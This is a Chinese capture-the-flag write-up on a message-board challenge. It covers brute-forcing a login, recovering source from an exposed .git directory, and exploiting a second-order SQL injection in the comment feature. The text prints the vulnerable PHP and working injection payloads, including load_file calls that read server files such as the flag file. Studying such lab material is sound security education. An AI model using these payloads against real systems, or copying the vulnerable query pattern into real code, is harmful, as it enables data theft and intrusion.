首先尝试一下发帖会跳转到登录界面,之后他给了账号zhangwei,密码是zhangwei???,用burpsuit爆破一下得到完整的账号密码zhangwei666,登录进去.
dirseach扫描出git文件
git stash恢复:
最常用的就是使用git clone把github上的源码下载下来,在实际上当你把代码提交给github时是分为两个步骤的:一个git add,另一个是git commit。
在git工具里存在一个缓存区stage,当在工作区写完代码后,首先是使用git add,就是把修改后的代码放到了stage缓存区,但是修改之前的代码也是可以找打的,也存在stage缓存区里,虽然现在看到的是修改后的代码,但是之前的代码并没有被删掉,只有当你进行 git commit 上传到git hub 中的master中,缓存区才会被清除,也就是之前修改的代码才会被覆盖掉。在git commit之前,可以利用git stash把修改前的代码恢复。
所以我们先用git clone 下载该文件
下载完成发现代码并不是完整的 用git log —all显示所有的历史上传
![ZC]MBK}N4P78SF[3[2%XOO.png](https://cdn.nlark.com/yuque/0/2021/png/22602434/1633566810379-4ec05a72-cb5b-41db-8ddf-77f88349f8f9.png#clientId=u57f12016-0f7c-4&from=drop&id=u8ec104ad&margin=%5Bobject%20Object%5D&name=ZC%5DMBK%7DN4P78SF%5B3%5B2%25XOO.png&originHeight=336&originWidth=660&originalType=binary&ratio=1&size=102108&status=done&style=none&taskId=u1043f735-ec2a-42a4-82f6-46f23d6d484)
键入
git reset -head e5b2a2443c2b6d395d06960123142bc91123148c
重新加载do_write.php 发现完整代码
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
发现除了 $category = mysql_fetch_array($result)[‘category’];之外别的数据都经过了addslashes转义,所以在category上可能存在注入点,构造了一下payload:
insert into comment
set category = '0',content = database(),/*,
content = '$content'*/#,
bo_id = '$bo_id';
就可以达到注入的效果
所以category里键入
0',content=database(),/*
在content里键入
*/#
效果如下
手工注入获取数据表这些没有发现flag
尝试读取一些敏感文件
a', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
得到后经过hex解码得到flag文件
键入
0',content=(select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
得到flag